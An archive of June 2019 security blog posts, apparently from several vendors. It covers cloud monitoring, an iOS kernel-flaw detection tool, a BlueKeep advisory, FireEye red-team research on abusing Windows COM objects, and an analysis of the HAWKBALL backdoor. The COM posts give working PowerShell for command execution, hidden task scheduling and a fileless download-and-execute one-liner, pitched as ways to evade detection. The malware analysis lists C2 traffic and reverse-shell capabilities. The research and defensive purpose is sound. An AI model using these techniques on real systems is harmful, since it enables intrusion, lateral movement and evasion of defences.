Monthly Archives: June 2019

Top 3 Challenges with Securing the Cloud

Cloud SecurityBy 2020,  it’s predicted that 83% of company workload will be stored in the cloud (Forbes).  This rise in usage and popularity comes at no surprise with how cost-effective and easy it is to manage systems in the cloud.

As more critical applications are migrating towards the cloud, data privacy and software security are becoming a greater concern.  With 60% of web applications compromised due to cloud-based email servers (Verizon 2019 DBIR), it’s time to take these concerns seriously.

The cloud has had its share of attacks over the years, from DDoS to data loss attacks and even data breaches.  Whether malicious tampering or accidental deleting, these attacks can lead to a loss of sensitive data and often a loss of revenue.

How exactly do we secure data and prevent against these attacks in the cloud?

The one way to truly secure your data in the cloud is through continual monitoring of your cloud systems. However, this is a challenging process for several reasons:

1.    Lack of Visibility

Cloud technology solutions often make the job of security providers more difficult because they don’t provide a single-pane-of-glass to view all endpoints and data. For this reason, you need a vast number of tools to monitor your cloud systems. For example, most cloud solutions send email notifications that provide some visibility into your environment.  However, these notifications don’t always provide enough insight into what exactly happened. You may receive an email alert about a suspicious login, but many of these alerts don’t give information about where the login attempt happened and what user was affected.

These vague alerts mean you have to investigate further; however, many of these cloud systems don’t have very useful investigative tools. If you want to find out more about the alert, you may be able to view the reports and read the logs associated with the activity, but that requires practice in knowing what to look for and how to interpret the information. This leads to another challenge in cloud security: lack of expertise.

2.    Lack of Expertise

It takes practice to be able to look at security logs and interpret what the activity means. Different cloud providers may produce different types of logs and it can be difficult to translate the many varying log types.

If you want to secure your cloud environment properly, you will need a team dedicated to configuring, monitoring and managing these tools. Through 2022, it’s predicted that 95% of cloud security failures will result from customer error (Gartner).  This reinforces the need to configure your cloud environment properly. Interpreting logs and configuring cloud systems requires skills that are developed overtime.  Many security professionals lack this particular expertise or the time required to properly develop these skills.

Those that do possess these skills and knowledge are in high demand, and there simply aren’t enough people to fill these positions.

3.    Lack of Resources

Implementing all the right tools and staffing appropriately to monitor these tools around-the-clock is not an inexpensive endeavor.  Luckily, there are services you can leverage to augment your staff and monitor your environment, such as a managed security services provider (MSSP).

MSSPs have the tools and resources to pull information from all of your different cloud systems and monitor them in one place.  With a full staff of experts on-hand at all hours, an MSSP is fully prepared to monitor and respond to incidents. They can help provide the expertise and visibility into your cloud environment required to properly secure your cloud systems.

The post Top 3 Challenges with Securing the Cloud appeared first on GRA Quantum.

DoubleNull Part II: Rare MacOS / iOS DFIR Opportunity. Evidence of *Local* Privilege Escalations in *Network* Traffic!

This is part II of the analysis of the Content-Filter Kernel Use-After-Free vulnerability that was patched on iOS 12.3. Although DoubleNull is a potent vulnerability, this vulnerability was silently patched and no CVE was assigned. Until an official CVE is assigned, let’s name this vulnerability “DoubleNull”.

We have observed continuous triggers of DoubleNull in the wild. We suspect that DoubleNull was actively exploited in the wild against targeted MDM/EMM users. The extraordinary thing about DoubleNull is that due to the nature of this vulnerability and its exploitation which requires to send UDP network packets, it presents an extremely rare DFIR opportunity to detect exploitation of Local Privilege Escalation in network traffic (PCAPs)!  

Inspect Exploitation Of DoubleNull

The first blog post of DoubleNull describes the issue and explanation of the vulnerability as well as how to trigger it. Part I was published in May 2019 and available here:

Since this vulnerability requires special entitlements/permissions to execute, this bug is near perfect for elevation of privileges in MDM/EMM environments and could have stayed silent for a long period of time. Apple has patched this bug in iOS  12.3.

Other Symptoms:
Besides strange UDP traffic, other notable symptoms of exploitation of DoubleNull includes random reboots.

Free iOS / MacOS DFIR Tool To Inspect Exploitation Of DoubleNull

It is a rare opportunity for iOS/MacOS DFIR to be able to examine LPEs in UDP Packets meta-data, thus  ZecOps decided to leverage this opportunity and release an iOS and MacOS DFIR Tool to investigate historical network dumps to identify which devices were compromised by the threat actor(s) that leveraged DoubleNull.

We are pleased to share a tool that is designed to inspect PCAPs for Content Filter hash_entry collisions that would trigger this vulnerability. The tool is available for download here:


Due to Content Filter Garbage Collection (GC) mechanism that is triggered every ten seconds, we are only interested in collisions that happened in less than 20 seconds. The lower the number (especially if it’s below 10 seconds), the higher the chances of an exploit. Collisions that happened after more than 20 seconds are meaningless.

You may use the tool for educational purposes and in corporate environments but not in commercial products unless ZecOps provide written consent.

Found Collisions?

Contact us ( in case you observed hash_entry collisions on traffic from MacOS/iOS devices or if you observe any additional suspicious behavior such as random reboots.  

General Recommendations

  • Update to the latest iOS version: this will render the privilege escalation part of the exploit chain unusable, and hence disinfect affected devices that were attacked by the threat actor(s) that leveraged this vulnerability. In addition, this update should rectify frequent random reboots on the affected devices.
  • Run the PCAP tool to check historical data for devices that were exposed to this vulnerability: Smaller delta between the first packet and the cfil_hash collision increases the chance that it was an attack. Collisions that happened after more than 20 seconds are meaningless.

Partners, Resellers, Distributors and Innovative Security Teams:
We’re still in stealth mode, but… we are already working with leading organizations globally. If you wish to learn more about what we do and what fresh vibes we bring to defensive cyber security, contact us here.

Small and Mid-size Orgs: Take Notice of this Trend in the 2019 Verizon Data Breach Investigations Report (DBIR).

43% of breaches in 2018 involved small businesses. Hackers know you’re vulnerable and they’re acting on it.

We’re big fans of the DBIR over here, not just because we’re contributing partners and want to see our name in lights. Yes, we’re certainly guilty of initially jumping into the contributor section and searching for our logo, but after that, we devour the data. The report in itself is an easy read, and there is also a DBIR executive summary available for those that want a short overview.

At GRA Quantum, we’re experts at developing tailored security solutions for small organizations facing big threats —and the data in this year’s DBIR show that the threats facing these orgs are only growing. 43% of breaches in 2018 involved small businesses. And that makes sense, when you take the threat actors’ POV into account. Nefarious attackers know that small and mid-size businesses don’t have the cyber hygiene that’s expected of enterprise organizations. Yet, the personally identifiable information (PII) and the intellectual property of smaller organizations is just as valuable.

It’s not all bad news.

As more organizations, especially in the small and mid-size range, move to the cloud, hackers shift their focus to the cloud too. The DBIR showed an increase in hackers’ focus to cloud-based servers. Where’s the good news in this? Much of this hacking stems from stolen credentials AND can be prevented with better education amongst staff, paired with anti-phishing technology and managed security services. All affordable options for companies that don’t have hundreds or thousands of endpoints.

More good news: you can start protecting your small org today by implementing some cybersecurity best practices. We’ve developed a checklist to strengthen your cybersecurity program that can get you started. It’s more straightforward than you may anticipate, and you don’t have to be technical or in a security role to kick-off the initiative. In fact, the list was created for management in Human Resources and Finance departments. Items in the list that are easiest to implement include:

  • Enforcing a policy to require multi-factor authentication (MFA) to access all company systems
  • Creating an onboarding and offboarding policy, integrating HR and IT activities
  • Developing a third-party vendor risk management program
 Start taking this proactive approach to get ahead of the threats and strengthen your security stance today.


The post Small and Mid-size Orgs: Take Notice of this Trend in the 2019 Verizon Data Breach Investigations Report (DBIR). appeared first on GRA Quantum.

Hunting COM Objects (Part Two)


As a follow up to Part One in this blog series on COM object hunting, this post will talk about taking the COM object hunting methodology deeper by looking at interesting COM object methods exposed in properties and sub-properties of COM objects.

What is a COM Object?

According to Microsoft, “The Microsoft Component Object Model (COM) is a platform-independent, distributed, object-oriented system for creating binary software components that can interact. COM is the foundation technology for Microsoft's OLE (compound documents), ActiveX (Internet-enabled components), as well as others.”

A COM object’s services can be consumed from almost any language by multiple processes, or even remotely. COM objects are usually obtained by specifying a CLSID (an identifying GUID) or ProgID (programmatic identifier). These COM objects are published in the Windows registry and can be extracted easily, as described below.

COM Object Enumeration

FireEye performed research into COM objects on Windows 10 and Windows 7, along with COM objects in Microsoft Office. Part One of this blog series described a technique for enumerating all COM objects on the system, instantiating them, and searching for interesting properties and methods. However, this only scratches the surface of what is accessible through these COM objects, as each object may return other objects that cannot be directly created on their own.

The change introduced here recursively searches for COM objects, which are only exposed through member methods and properties of each enumerated COM object. The original methodology looked at interesting methods exposed directly by each object and didn’t recurse into any properties that may also be COM objects with their own interesting methods. This improvement to the methodology assisted in the discovery of a new COM object that can be used for code execution, and new ways to call publicly known code execution COM object methods.

Recursive COM Object Method Discovery

A common theme among publicly discovered techniques for code execution using COM objects is that they take advantage of a method that is exposed within a child property of the COM object. An example of this is the “MMC20.Application” COM object. To achieve code execution with this COM object, you need to use the “ExecuteShellCommand” method on the View object returned by the “Document.ActiveView” property, as discovered by Matt Nelson in this blog post. In Figure 1 you can see how this method is only discoverable within the object returned by “Document.ActiveView”, and is not directly exposed by the MMC20.Application COM object.

Figure 1: Listing ExecuteShellCommand method in MMC20.Application COM object

Another example of this is the “ShellBrowserWindow” COM object, which was also first written about by Matt Nelson in this blog post. As you can see in Figure 2, the “ShellExecute” method is not directly exposed in the COM object. However, the “Document.Application” property returns an instance of the Shell object, which exposes the ShellExecute method.

Figure 2: Listing ExecuteShellCommand method in ShellBrowserWindow COM object

As evidence of the previous two examples, it is important to not only look at methods exposed directly by the COM object, but also recursively look for objects with interesting methods exposed as properties of COM objects. This example also illustrates why simply statically exploring the Type Libraries of the COM objects may not be sufficient. The relevant functions are only accessed after dynamically enumerating objects of the generic type IDispatch. This recursive methodology can enable finding new COM objects to be used for code execution, and different ways to use publicly known COM objects that can be used for code execution.

An example of how this recursive methodology found a new way to call a publicly known COM object method is the “ShellExecute” method in the “ShellBrowserWindow” COM object that was shown previously in this article. The previously publicly known way of calling this method within the “ShellBrowserWindow” COM object is using the “Document.Application” property. The recursive COM object method discovery also found that you can call the “ShellExecute” method on the object returned by the “Document.Application.Parent” property as seen in Figure 3. This can be useful from an evasion standpoint.

Figure 3: Alternative way to call ShellExecute with ShellBrowserWindow COM object

Command Execution

Using this recursive COM object method discovery, FireEye was able to find a COM object with the ProgID “Excel.ChartApplication” that can be used for code execution using the DDEInitiate method. This DDEInitiate method of launching executables was first abused in the “Excel.Application” COM object as seen in this article by Cybereason. There are multiple properties in the “Excel.ChartApplication” COM object that return objects that can be used to execute the DDEInitiate method as seen in Figure 4. Although this DDEInitiate method is also exposed directly by the COM object, it was initially discovered when looking at methods exposed in the other objects accessible from this object.

Figure 4: Different ways to call DDEInitiate with Excel.ChartApplication COM object

This COM object can also be instantiated and used remotely for Office 2013 as seen in Figure 5. The COM object can only be instantiated locally on Office 2016. When trying to instantiate it remotely against Office 2016, an error code will return indicating that the COM object class is not registered for remote instantiation.

Figure 5: Using Excel.ChartApplication remotely against Office 2013


The recursive searching of COM object methods can lead to the discovery of new COM objects that can be used for code execution, and new ways to call publicly known COM object methods. These COM object methods can be used to subvert different detection patterns and can also be used for lateral movement.

Australian Cyber Security Centre advises Windows users across Australia to protect against BlueKeep

The ACSC is aware of Microsoft’s recent disclosure of a remote desktop vulnerability called CVE-2019-0708, also known as BlueKeep. As an indication of just how significant the impacts of BlueKeep can be to their customers, Microsoft took the unusual step of publishing advice to warn of its ability to propagate or ‘worm’ through vulnerable computer systems, with no user interaction at all.

Government Sector in Central Asia Targeted With New HAWKBALL Backdoor Delivered via Microsoft Office Vulnerabilities

FireEye Labs recently observed an attack against the government sector in Central Asia. The attack involved the new HAWKBALL backdoor being delivered via well-known Microsoft Office vulnerabilities CVE-2017-11882 and CVE-2018-0802.

HAWKBALL is a backdoor that attackers can use to collect information from the victim, as well as to deliver payloads. HAWKBALL is capable of surveying the host, creating a named pipe to execute native Windows commands, terminating processes, creating, deleting and uploading files, searching for files, and enumerating drives.

Figure 1 shows the decoy used in the attack.

Figure 1: Decoy used in attack

The decoy file, doc.rtf (MD5: AC0EAC22CE12EAC9EE15CA03646ED70C), contains an OLE object that uses Equation Editor to drop the embedded shellcode in %TEMP% with the name 8.t. This shellcode is decrypted in memory through EQENDT32.EXE. Figure 2 shows the decryption mechanism used in EQENDT32.EXE.

Figure 2: Shellcode decryption routine

The decrypted shellcode is dropped as a Microsoft Word plugin WLL (MD5: D90E45FBF11B5BBDCA945B24D155A4B2) into C:\Users\ADMINI~1\AppData\Roaming\Microsoft\Word\STARTUP (Figure 3).

Figure 3: Payload dropped as Word plugin

Technical Details

DllMain of the dropped payload determines if the string WORD.EXE is present in the sample’s command line. If the string is not present, the malware exits. If the string is present, the malware executes the command RunDll32.exe < C:\Users\ADMINI~1\AppData\Roaming\Microsoft\Word\STARTUP\hh14980443.wll, DllEntry> using the WinExec() function.

DllEntry is the payload’s only export function. The malware creates a log file in %TEMP% with the name c3E57B.tmp. The malware writes the current local time plus two hardcoded values every time in the following format:

<Month int>/<Date int> <Hours>:<Minutes>:<Seconds>\t<Hardcoded Digit>\t<Hardcoded Digit>\n


05/22 07:29:17 4          0

This log file is written to every 15 seconds. The last two digits are hard coded and passed as parameters to the function (Figure 4).

Figure 4: String format for log file

The encrypted file contains a config file of 0x78 bytes. The data is decrypted with an 0xD9 XOR operation. The decrypted data contains command and control (C2) information as well as a mutex string used during malware initialization. Figure 5 shows the decryption routine and decrypted config file.

Figure 5: Config decryption routine

The IP address from the config file is written to %TEMP%/3E57B.tmp with the current local time. For example:

05/22 07:49:48

Mutex Creation

The malware creates a mutex to prevent multiple instances of execution. Before naming the mutex, the malware determines whether it is running as a system profile (Figure 6). To verify that the malware resolves the environment variable for %APPDATA%, it checks for the string config/systemprofile.

Figure 6: Verify whether malware is running as a system profile

If the malware is running as a system profile, the string d0c from the decrypted config file is used to create the mutex. Otherwise, the string _cu is appended to d0c and the mutex is named d0c_cu (Figure 7).

Figure 7: Mutex creation

After the mutex is created, the malware writes another entry in the logfile in %TEMP% with the values 32 and 0.

Network Communication

HAWKBALL is a backdoor that communicates to a single hard-coded C2 server using HTTP. The C2 server is obtained from the decrypted config file, as shown in Figure 5. The network request is formed with hard-coded values such as User-Agent. The malware also sets the other fields of request headers such as:

  • Content-Length: <content_length>
  • Cache-Control: no-cache
  • Connection: close

The malware sends an HTTP GET request to its C2 IP address using HTTP over port 443. Figure 8 shows the GET request sent over the network.

Figure 8: Network request

The network request is formed with four parameters in the format shown in Figure 9.

Format = "?t=%d&&s=%d&&p=%s&&k=%d"

Figure 9: GET request parameters formation

Table 1 shows the GET request parameters.




Initially set to 0


Initially set to 0


String from decrypted config at 0x68


The result of GetTickCount()

Table 1: GET request parameters

If the returned response is 200, then the malware sends another GET request (Figure 10) with the following parameters (Figure 11).

Format = "?e=%d&&t=%d&&k=%d"

Figure 10: Second GET request

Figure 11: Second GET request parameters formation

Table 2 shows information about the parameters.




Initially Set to 0


Initially set to 0


The result of GetTickCount()

Table 2: Second GET request parameters

If the returned response is 200, the malware examines the Set-Cookie field. This field provides the Command ID. As shown in Figure 10, the field Set-Cookie responds with ID=17.

This Command ID acts as the index into a function table created by the malware. Figure 12 shows the creation of the virtual function table that will perform the backdoor’s command.

Figure 12: Function table

Table 3 shows the commands supported by HAWKBALL.


Operation Performed


Set URI query string to value




Collect system information


Execute a provided argument using CreateProcess


Execute a provided argument using CreateProcess and upload output


Create a cmd.exe reverse shell, execute a command, and upload output


Shut down reverse shell




Shut down reverse shell


Download file


Get drive geometry and free space for logical drives C-Z


Retrieve information about provided directory


Delete file


Move file

Table 3: HAWKBALL commands

Collect System Information

Command ID 17 indexes to a function that collects the system information and sends it to the C2 server. The system information includes:

  • Computer Name
  • User Name
  • IP Address
  • Active Code Page
  • OEM Page
  • OS Version
  • Architecture Details (x32/x64)
  • String at 0x68 offset from decrypted config file

This information is retrieved from the victim using the following WINAPI calls:

Format = "%s;%s;%s;%d;%d;%s;%s %dbit"

  • GetComputerNameA
  • GetUserNameA
  • Gethostbyname and inet_ntoa
  • GetACP
  • GetOEMPC
  • GetCurrentProcess and IsWow64Process

Figure 13: System information

The collected system information is concatenated together with a semicolon separating each field:

WIN732BIT-L-0;Administrator;;1252;437;d0c;Windows 7 32bit

This information is encrypted using an XOR operation. The response from the second GET request is used as the encryption key. As shown in Figure 10, the second GET request responds with a 4-byte XOR key. In this case the key is 0xE5044C18.

Once encrypted, the system information is sent in the body of an HTTP POST. Figure 14 shows data sent over the network with the POST request.

Figure 14: POST request

In the request header, the field Cookie is set with the command ID of the command for which the response is sent. As shown in Figure 14, the Cookie field is set with ID=17, which is the response for the previous command. In the received response, the next command is returned in field Set-Cookie.

Table 4 shows the parameters of this POST request.




Initially set to 0


Decimal form of the little-endian XOR key


The result of GetTickCount()

Table 4: POST request parameters

Create Process

The malware creates a process with specified arguments. Figure 15 shows the operation.

Figure 15: Command create process

Delete File

The malware deletes the file specified as an argument. Figure 16 show the operation.

Figure 16: Delete file operation

Get Directory Information

The malware gets information for the provided directory address using the following WINAPI calls:

  • FindFirstFileW
  • FindNextFileW
  • FileTimeToLocalFileTime
  • FiletimeToSystemTime

Figure 17 shows the API used for collecting information.

Figure 17: Get directory information

Get Disk Information

This command retrieves the drive information for drives C through Z along with available disk space for each drive.

Figure 18: Retrieve drive information

The information is stored in the following format for each drive:

Format = "%d+%d+%d+%d;"

Example: "8+512+6460870+16751103;"

The information for all the available drives is combined and sent to the server using an operation similar to Figure 14.

Anti-Debugging Tricks

Debugger Detection With PEB

The malware queries the value for the flag BeingDebugged from PEB to check whether the process is being debugged.

Figure 19: Retrieve value from PEB


The malware uses the NtQueryInformationProcess API to detect if it is being debugged. The following flags are used:

  • Passing value 0x7 to ProcessInformationClass:

Figure 20: ProcessDebugPort verification

  • Passing value 0x1E to ProcessInformationClass:

Figure 21: ProcessDebugFlags verification

  • Passing value 0x1F to ProcessInformationClass:

Figure 22: ProcessDebugObject


HAWKBALL is a new backdoor that provides features attackers can use to collect information from a victim and deliver new payloads to the target. At the time of writing, the FireEye Multi-Vector Execution (MVX) engine is able to recognize and block this threat. We advise that all industries remain on alert, though, because the threat actors involved in this campaign may eventually broaden the scope of their current targeting.

Indicators of Compromise (IOC)







Network Indicators

  • 149.28.182[.]78:443
  • 149.28.182[.]78:80
  • http://149.28.182[.]78/?t=0&&s=0&&p=wGH^69&&k=<tick_count>
  • http://149.28.182[.]78/?e=0&&t=0&&k=<tick_count>
  • http://149.28.182[.]78/?e=0&&t=<int_xor_key>&&k=<tick_count>
  • Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2)

FireEye Detections






FireEye Email Security

FireEye Network Security

FireEye Endpoint Security





FireEye Email Security

FireEye Network Security

FireEye Endpoint Security






Thank you to Matt Williams for providing reverse engineering support.

Hunting COM Objects

COM objects have recently been used by penetration testers, Red Teams, and malicious actors to perform lateral movement. COM objects were studied by several other researchers in the past, including Matt Nelson (enigma0x3), who published a blog post about it in 2017. Some of these COM objects were also added to the Empire project. To improve the Red Team practice, FireEye performed research into the available COM objects on Windows 7 and 10 operating systems. Several interesting COM objects were discovered that allow task scheduling, fileless download & execute as well as command execution. Although not security vulnerabilities on their own, usage of these objects can be used to defeat detection based on process behavior and heuristic signatures.

What is a COM Object?

According to Microsoft, “The Microsoft Component Object Model (COM) is a platform-independent, distributed, object-oriented system for creating binary software components that can interact. COM is the foundation technology for Microsoft's OLE (compound documents), ActiveX (Internet-enabled components), as well as others.”

COM was created in the 1990’s as language-independent binary interoperability standard which enables separate code modules to interact with each other. This can occur within a single process or cross-process, and Distributed COM (DCOM) adds serialization allowing Remote Procedure Calls across the network.

The term “COM Object” refers to an executable code section which implements one or more interfaces deriving from IUnknown.  IUnknown is an interface with 3 methods, which support object lifetime reference counting and discovery of additional interfaces.  Every COM object is identified by a unique binary identifier. These 128 bit (16 byte) globally unique identifiers are generically referred to as GUIDs.  When a GUID is used to identify a COM object, it is a CLSID (class identifier), and when it is used to identify an Interface it is an IID (interface identifier). Some CLSIDs also have human-readable text equivalents called a ProgID.

Since COM is a binary interoperability standard, COM objects are designed to be implemented and consumed from different languages.  Although they are typically instantiated in the address space of the calling process, there is support for running them out-of-process with inter-process communication proxying the invocation, and even remotely from machine to machine.

The Windows Registry contains a set of keys which enable the system to map a CLSID to the underlying code implementation (in a DLL or EXE) and thus create the object.


The registry key HKEY_CLASSES_ROOT\CLSID exposes all the information needed to enumerate COM objects, including the CLSID and ProgID. The CLSID is a globally unique identifier associated with a COM class object. The ProgID is a programmer-friendly string representing an underlying CLSID.

The list of CLSIDs can be obtained using the following Powershell commands in Figure 1.

New-PSDrive -PSProvider registry -Root HKEY_CLASSES_ROOT -Name HKCR
Get-ChildItem -Path HKCR:\CLSID -Name | Select -Skip 1 > clsids.txt

Figure 1: Enumerating CLSIDs under HKCR

The output will resemble Figure 2.


Figure 2:Abbreviated list of CLSIDs from HKCR

We can use the list of CLSIDs to instantiate each object in turn, and then enumerate the methods and properties exposed by each COM object. PowerShell exposes the Get-Member cmdlet that can be used to list methods and properties on an object easily. Figure 3 shows a PowerShell script to enumerate this information. Where possible in this study, standard user privileges were used to provide insight into available COM objects under the worst-case scenario of having no administrative privileges.

$Position  = 1
$Filename = "win10-clsid-members.txt"
$inputFilename = "clsids.txt"
ForEach($CLSID in Get-Content $inputFilename) {
      Write-Output "$($Position) - $($CLSID)"
      Write-Output "------------------------" | Out-File $Filename -Append
      Write-Output $($CLSID) | Out-File $Filename -Append
      $handle = [activator]::CreateInstance([type]::GetTypeFromCLSID($CLSID))
      $handle | Get-Member | Out-File $Filename -Append
      $Position += 1

Figure 3: PowerShell scriptlet used to enumerate available methods and properties

If you run this script, expect some interesting side-effect behavior such as arbitrary applications being launched, system freezes, or script hangs. Most of these issues can be resolved by closing the applications that were launched or by killing the processes that were spawned.

Armed with a list of all the CLSIDs and the methods and properties they expose, we can begin the hunt for interesting COM objects. Most COM servers (code implementing a COM object) are implemented in a DLL whose path is stored in the registry key e.g. under InprocServer32. This is useful because reverse engineering may be required to understand undocumented COM objects.

On Windows 7, a total of 8,282 COM objects were enumerated. Windows 10 featured 3,250 new COM objects in addition to those present on Windows 7. Non-Microsoft COM objects were generally omitted because they cannot be reliably expected to be present on target machines, which limits their usefulness to Red Team operations. Selected Microsoft COM objects from the Windows SDK were included in the study for purposes of targeting developer machines.

Once the members were obtained, a keyword-based search approach was used to quickly yield results. For the purposes of this research, the following keywords were used: execute, exec, spawn, launch, and run.

One example was the {F1CA3CE9-57E0-4862-B35F-C55328F05F1C} COM object (WatWeb.WatWebObject) on Windows 7. This COM object exposed a method named LaunchSystemApplication as shown in Figure 4.

Figure 4: WatWeb.WatWebObject methods including the interesting LaunchSystemApplication method

The InprocServer32 entry for this object was set to C:\windows\system32\wat\watweb.dll, which is part of Microsoft’s Windows Genuine Advantage product key validation system. The LaunchSystemApplication method expected three parameters, but this COM object was not well-documented and reverse engineering was required, meaning it was time to dig through some assembly code.

Once C:\windows\system32\wat\watweb.dll is loaded in your favorite tool (in this case, IDA Pro), it’s time to find where this method is defined. Luckily, in this case, Microsoft exposed debugging symbols, making the reverse engineering much more efficient. Looking at the disassembly, LaunchSystemApplication calls LaunchSystemApplicationInternal, which, as one might suspect, calls CreateProcess to launch an application. This is shown in the Hex-Rays decompiler pseudocode in Figure 5.

Figure 5: Hex-Rays pseudocode confirming that LaunchSystemApplicationInternal calls CreateProcessW

But does this COM object allow creation of arbitrary processes? The argument passed to CreateProcess is user-controlled and is derived from the arguments passed to the function. However, notice the call to CWgpOobWebObjectBaseT::IsApprovedApplication prior to the CreateProcess call. The Hex-Rays pseudocode for this method is shown in Figure 6.

Figure 6: Hex-Rays pseudocode for the IsApprovedApplication method

The user-controlled string is validated against a specific pattern. In this case, the string must match slui.exe. Furthermore, the user-controlled string is then appended to the system path, meaning it would be necessary to, for instance, replace the real slui.exe to circumvent the check. Unfortunately, the validation performed by Microsoft limits the usefulness of this method as a general-purpose process launcher.

In other cases, code execution was straightforward. For example, the ProcessChain Class with CLSID {E430E93D-09A9-4DC5-80E3-CBB2FB9AF28E} that is implemented in C:\Program Files (x86)\Windows Kits\10\App Certification Kit\prchauto.dll. This COM class can be readily analyzed without looking at any disassembly listings, because prchauto.dll contains a TYPELIB resource containing a COM Type Library that can be viewed using Oleview.exe. Figure 7 shows the type library for ProcessChainLib, exposing a CommandLine property and a Start method. Start accepts a reference to a Boolean value.

Figure 7: Type library for ProcessChainLib as displayed in Interface Definition Language by Oleview.exe

Based on this, commands can be started as shown in Figure 8.

$handle = [activator]::CreateInstance([type]::GetTypeFromCLSID("E430E93D-09A9-4DC5-80E3-CBB2FB9AF28E"))
$handle.CommandLine = "cmd /c whoami"

Figure 8: Using the ProcessChainLib COM server to start a process

Enumerating and examining COM objects in this fashion turned up other interesting finds as well.

Fileless Download and Execute

For instance, the COM object {F5078F35-C551-11D3-89B9-0000F81FE221} (Msxml2.XMLHTTP.3.0) exposes an XML HTTP 3.0 feature that can be used to download arbitrary code for execution without writing the payload to the disk and without triggering rules that look for the commonly-used System.Net.WebClient. The XML HTTP 3.0 object is usually used to perform AJAX requests. In this case, data fetched can be directly executed using the Invoke-Expression cmdlet (IEX).

The example in Figure 9 executes our code locally:

$o = [activator]::CreateInstance([type]::GetTypeFromCLSID("F5078F35-C551-11D3-89B9-0000F81FE221")); $o.Open("GET", "", $False); $o.Send(); IEX $o.responseText;

Figure 9: Fileless download without System.Net.WebClient

Task Scheduling

Another example is {0F87369F-A4E5-4CFC-BD3E-73E6154572DD} which implements the Schedule.Service class for operating the Windows Task Scheduler Service. This COM object allows privileged users to schedule a task on a host (including a remote host) without using the schtasks.exe binary or the at command.

$TaskName = [Guid]::NewGuid().ToString()
$Instance = [activator]::CreateInstance([type]::GetTypeFromProgID("Schedule.Service"))
$Folder = $Instance.GetFolder("\")
$Task = $Instance.NewTask(0)
$Trigger = $Task.triggers.Create(0)
$Trigger.StartBoundary = Convert-Date -Date ((Get-Date).addSeconds($Delay))
$Trigger.EndBoundary = Convert-Date -Date ((Get-Date).addSeconds($Delay + 120))
$Trigger.ExecutionTimelimit = "PT5M"
$Trigger.Enabled = $True
$Trigger.Id = $Taskname
$Action = $Task.Actions.Create(0)
$Action.Path = “cmd.exe”
$Action.Arguments = “/c whoami”
$Action.HideAppWindow = $True
$Folder.RegisterTaskDefinition($TaskName, $Task, 6, "", "", 3)

function Convert-Date {       



        PROCESS {
               $Date.Touniversaltime().tostring("u") -replace " ","T"

Figure 10: Scheduling a task


COM objects are very powerful, versatile, and integrated with Windows, which means that they are nearly always available. COM objects can be used to subvert different detection patterns including command line arguments, PowerShell logging, and heuristic detections. Stay tuned for part 2 of this blog series as we will continue to look at hunting COM objects.